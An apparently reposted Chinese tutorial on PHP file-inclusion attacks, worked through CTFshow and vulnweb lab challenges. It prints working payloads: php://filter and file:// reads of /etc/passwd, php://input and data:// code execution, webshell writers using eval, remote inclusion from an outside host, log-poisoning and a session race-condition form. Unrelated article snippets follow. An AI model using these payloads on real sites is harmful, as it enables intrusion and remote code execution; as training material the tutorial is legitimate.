WEB攻防-文件包含LFIRFI偽協議編碼算法無文件利用黑白盒

知識點:
1、文件包含-原理&分類&危害-LFI&RFI
2、文件包含-利用-黑白盒&無文件&偽協議
在這里插入圖片描述

一、演示案例-文件包含-原理&分類&利用

1、原理

程序開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無須再次編寫,這種調用文件的過程一般被稱為文件包含。在包含文件的過程中,如果文件能進行控制,則存儲文件包含漏洞。
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

 <?php include "xx.xx";?> 這種是包含指定頁面,不存在文件包含漏洞<?php include $_GET[x];?> 這種通過動態變量的傳參才存在文件包含漏洞

在這里插入圖片描述
在這里插入圖片描述

2、分類

本地包含-Local File Include-LFI

(包含的文件都是本地服務器上的,可以包含圖片馬,敏感文件,日志等等)x.php?x=xx.xx

在這里插入圖片描述

遠程包含-Remote File Include-RFI(較少)

x.php?x=http://xxxxx/x.xx (要保證php.ini中allow_url_fopen和allow_url_include要為On)

在這里插入圖片描述

3、白盒審計

1、可通過應用功能追蹤代碼定位審計
2、可通過腳本特定函數搜索定位審計
3、可通過偽協議玩法繞過相關修復等
PHP:include、require、include_once、require_once等
include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行
require函數出現錯誤的時候,會直接報錯并退出程序的執行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等

4、黑盒分析

黑盒發現:主要觀察參數傳遞的數據和文件名是否對應
URL中有path、dir、file、page、archive、eng、語言文件等相關字眼

5、利用

無文件就是指目標沒有上傳點,只能包含服務器已經存在的文件。

思路:
1、配合文件上傳(目標有上傳點,自己上傳一個惡意代碼的文件)
2、無文件包含日志(前提:需要知道當前網站存儲日志的絕對路徑)
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述
3、無文件包含SESSION(前提:需要知道當前網站存儲SESSION文件的絕對路徑)
在這里插入圖片描述
4、無文件支持偽協議利用
在這里插入圖片描述

文件讀取

方式一:
file:///etc/passwd

在這里插入圖片描述

方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

文件寫入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //這個需要代碼里接收兩個參數才行

在這里插入圖片描述

注:131要改為base64編碼才行,圖里是錯誤的。
在這里插入圖片描述
在這里插入圖片描述

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

代碼執行

方式一:
php://input 
POST:<?php phpinfo();?>

在這里插入圖片描述

方式二:
data://text/plain,<?php phpinfo();?>

在這里插入圖片描述

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在這里插入圖片描述
在這里插入圖片描述

遠程利用思路

直接搭建一個可訪問的遠程URL包含文件(不能是腳本文件,其他后綴隨意,可包含一句話getshell)
在這里插入圖片描述

二、演示案例-文件包含-利用-黑白盒&無文件&偽協議

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php
在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

白盒利用-CTFSHOW-偽協議玩法

https://ctf.show/challenges //專門的CTF網站,對新手比較友好

78-php&http協議

在這里插入圖片描述

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

在這里插入圖片描述

在這里插入圖片描述

方式二:
payload: ?file=php://input 
post:<?php system('tac flag.php');?>

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
遠程1.txt: <?php system('tac flag.php');?> //也可以寫一句話木馬連上去

在這里插入圖片描述
在這里插入圖片描述

79-data&http協議

在這里插入圖片描述

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

在這里插入圖片描述
在這里插入圖片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80 81-日志包含

在這里插入圖片描述

1、利用其他協議,如file,zlib等
2、利用日志記錄UA特性包含執行
故利用日志記錄UA信息,UA帶入后門代碼或者system代碼
包含:/var/log/nginx/access.log

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

82-86-SESSION包含

在這里插入圖片描述
利用PHP_SESSION_UPLOAD_PROGRESS進行文件包含
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

session會自動把內容清空,所以要在清空之前利用條件競爭方式觸發session里的代碼,自定義session名字,條件競爭訪問session文件,觸發創建新文件。以下表單就是為了創建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

在這里插入圖片描述
在這里插入圖片描述

隨便上傳一張圖片抓取這個數據包,在請求頭中添加session名字并進行無限發包
在這里插入圖片描述
在這里插入圖片描述
同樣的,抓取這個路徑請求包進行無限發包,從而觸發session文件里的php代碼
在這里插入圖片描述
在這里插入圖片描述
然后就會在網站目錄下生成一個shell.php文件

87-php://filter/write&加密編碼

在這里插入圖片描述

1、利用base64:
url編碼2次:php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

2、利用凱撒13(類似base64的加密方式):
url編碼2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

88-data&base64協議

過濾PHP,各種符號,php代碼編碼寫出無符號base64
在這里插入圖片描述

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

117-php://filter/write&新的算法

在這里插入圖片描述

代理中并沒有過濾php
生成腳本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "經過一次反轉:".$result."\n";
echo "經過第二次反轉:".iconv("UCS-2LE","UCS-2BE", $result);
?>

在這里插入圖片描述

與凱撒13加密差不多,只不過換了另外一種方式
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

在這里插入圖片描述
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/87937.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/87937.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/87937.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LabVIEW的GPIB儀器校準

基于LabVIEW開發平臺與 GPIB 總線技術&#xff0c;采用是德科技、泰克等硬件設備&#xff0c;構建示波器與頻譜分析儀自動校準系統。通過圖形化編程實現校準流程自動化&#xff0c;涵蓋設備連接、參數配置、數據采集、誤差分析及報告生成&#xff0c;顯著提升校準效率與精度&am…

Zotero中進行文獻翻譯【Windows11】

zotero官網&#xff1a;https://www.zotero.org/ 1 在Zotero軟件中安裝插件 進入Zotero百科全書&#xff0c;依次點擊&#xff1a;插件→翻譯插件→插件介紹→Zotero 中文社區插件商店 進去后搜索pdf2zh&#xff0c;然后下載后放入空白文件夾zotero-pdf2zh 打開Zotero軟件后…

用U盤啟動制作centos系統最常見報錯,系統卡住無法繼續問題(手把手)

一、按照操作系統centos7報錯如下&#xff08;U盤&#xff09; 按照系統報錯如下&#xff1a; ERROR: could not insert ‘floppy’; ERROR: could not insert ‘edd’ : No這種報錯很常見&#xff0c;基本上就是u盤啟動路徑找不到導致&#xff0c;遇到次數比較多所以也比較好解…

C#中的BindingList有什么作用?

在C#中&#xff0c;BindingList<T> 是一個非常重要的集合類&#xff0c;位于 System.ComponentModel 命名空間&#xff0c;主要用于實現數據綁定&#xff08;Data Binding&#xff09;場景。1. 核心作用BindingList<T> 是 List<T> 的增強版&#xff0c;主要提…

Python爬取知乎評論:多線程與異步爬蟲的性能優化

1. 知乎評論爬取的技術挑戰 知乎的評論數據通常采用動態加載&#xff08;Ajax&#xff09;&#xff0c;這意味著直接使用**<font style"color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">requests</font>****<font style"color:rg…

軟件系統測試的基本流程

軟件系統測試流程是確保軟件質量的規范化過程&#xff0c;涵蓋從測試準備到最終上線評估的全周期&#xff0c;通常分為以下6個核心階段&#xff0c;各階段緊密銜接、形成閉環&#xff1a; 一、測試啟動與規劃階段 核心目標&#xff1a;明確“測什么、誰來測、怎么測”&#xff…

使用Linux操作MySQL數據庫分批導出數據為.SQL文件

當數據庫某張數據量非常大的表進行其他操作&#xff0c;需要先進行導出時&#xff1b; 先用linux進入操作環境&#xff0c; 1.添加一個export_mysql_batches.sh腳本文件&#xff0c; #!/bin/bash# 數據庫連接配置 DB_HOST"36.33.0.138:3306" DB_USER"devuser&qu…

LeetCode 算法題解:鏈表與二叉樹相關問題 打打卡

LeetCode 算法題解&#xff1a;鏈表與二叉樹相關問題 在算法學習和實踐中&#xff0c;LeetCode 是一個非常好的平臺&#xff0c;它包含了各種各樣的算法題目&#xff0c;有助于我們提升編程能力和解決問題的能力。本文將詳細講解在 leetcoding.cpp 文件中實現的一些鏈表和二叉樹…

故宮票價監控接口分析(一)

故宮票價監控接口分析(一) 對爬蟲、逆向感興趣的同學可以查看文章,一對一小班教學(系統理論和實戰教程)、提供接單兼職渠道:https://blog.csdn.net/weixin_35770067/article/details/142514698 本文內容僅供學習和參考之用,不得用于商業目的。作者對文中內容的準確性、完整…

AWS OpenSearch Dev Tools使用

# 創建通用索引模版 PUT _template/aws-waf_logs_template {"index_patterns": ["aws-waf-logs-*"],"mappings": {"properties": {"timestamp": {"type": "date"}}} }# 設置單個索引格式 PUT /aws-waf-…

git-安裝 Gerrit Hook 自動生成changeid

要在 Git 中安裝 Gerrit Hook 以自動生成 Change-ID&#xff0c;可以按照以下步驟操作&#xff1a; 全局鉤子配置&#xff08;推薦&#xff09; 創建全局鉤子目錄并下載 Gerrit 提供的 commit-msg 鉤子腳本&#xff0c;確保所有倉庫共享該配置&#xff1a; mkdir -p ~/.githook…

Excel 的多線程特性

Excel 本身并不是完全多線程的應用程序&#xff0c;但它在某些操作和功能上支持多線程處理。以下是對 Excel 是否多線程的詳細解答&#xff0c;結合你之前提到的 VBA/COM 自動化代碼和受保護視圖問題&#xff0c;提供清晰且準確的分析。 Excel 的多線程特性計算引擎的多線程支持…

【嵌入式ARM匯編】-操作系統基礎(一)

操作系統基礎(一) 文章目錄 操作系統基礎(一)1、操作系統架構概述2、用戶模式與內核模式3、進程4、系統調用5、對象和句柄我們想要逆向的程序幾乎從來不會在真空中執行。相反,程序通常在正在運行的操作系統(例如 Linux、Windows 或 macOS)的上下文中運行。因此,了解這些…

[創業之路-474]:企業經營層 - 小米與華為多維對比分析(2025年視角),以后不要把這兩家公司放在同一個維度上 進行比較了

一、行業定位與市場角色不同華為&#xff1a;用技術手段解決行業的難題&#xff0c;順便賺錢技術驅動型硬科技企業&#xff1a;以通信設備起家&#xff0c;延伸至智能手機、芯片、操作系統&#xff08;鴻蒙&#xff09;、云計算、智能汽車等領域&#xff0c;構建“云-管-端”全…

C#基礎篇(06)抽象類與接口詳解區別

抽象類是 C# 面向對象編程中的一個重要概念&#xff0c;它介于普通類和接口之間&#xff0c;提供了一種定義部分實現并要求派生類完成其余部分的機制。一、C# 中的抽象類抽象類是 C# 面向對象編程中的一個重要概念&#xff0c;它介于普通類和接口之間&#xff0c;提供了一種定義…

使用Python將PDF轉換成word、PPT

在現代企業環境中,文檔格式的轉換是一項普遍且關鍵的需求。PDF(Portable Document Format)作為一種最終的、通常不可編輯的“打印”狀態格式,被廣泛用于分發和歸檔。然而,內容的創建、協作和修改主要在Microsoft Office套件中進行,特別是Word(DOCX)和PowerPoint(PPTX)…

香港風水(原生)林地的邏輯分類器

風水林是香港的原生林地&#xff0c;由于地處偏遠、地形崎嶇以及當地居民的信仰&#xff0c;這些林地得以保存完好。在香港&#xff0c;我們可以追溯到1924年的航拍圖像記錄&#xff0c;這些黑白航拍圖像已經幫助我們劃分和區分了林地、草地和灌木叢。然后&#xff0c;通過二戰…

[Swarm] Result對象 | 智能體切換 | Response對象 | muduo review

第5章&#xff1a;結果對象 歡迎回到swarm&#xff01; 在上一章第4章&#xff1a;功能中&#xff0c;我們學習了如何通過定義Python功能賦予智能體技能。我們見證了當AI決策調用時&#xff0c;Swarm框架如何執行這些功能。 當前&#xff0c;我們的功能僅返回簡單字符串如&q…

[2-02-02].第04節:環境搭建 - Linux搭建ES集群環境

ElasticSearch學習大綱 一、ES集群規劃&#xff1a; 關系型數據庫&#xff08;比如Mysql&#xff09;非關系型數據庫&#xff08;Elasticsearch&#xff09;非關系型數據庫&#xff08;Elasticsearch&#xff09;centos7hadoop103192.168.148.3centos7hadoop104192.168.148.4c…

部署并運行Spike-Driven-Transformer或QKFormer

部署并運行Spike-Driven-Transformer或QKFormer 我將指導你如何部署和運行Spike-Driven-Transformer或QKFormer代碼,并在CIFAR-10、CIFAR-100和ImageNet-1K數據集上進行訓練和測試。 1. 環境準備 首先需要設置Python環境并安裝必要的依賴項: # 創建conda環境(推薦) con…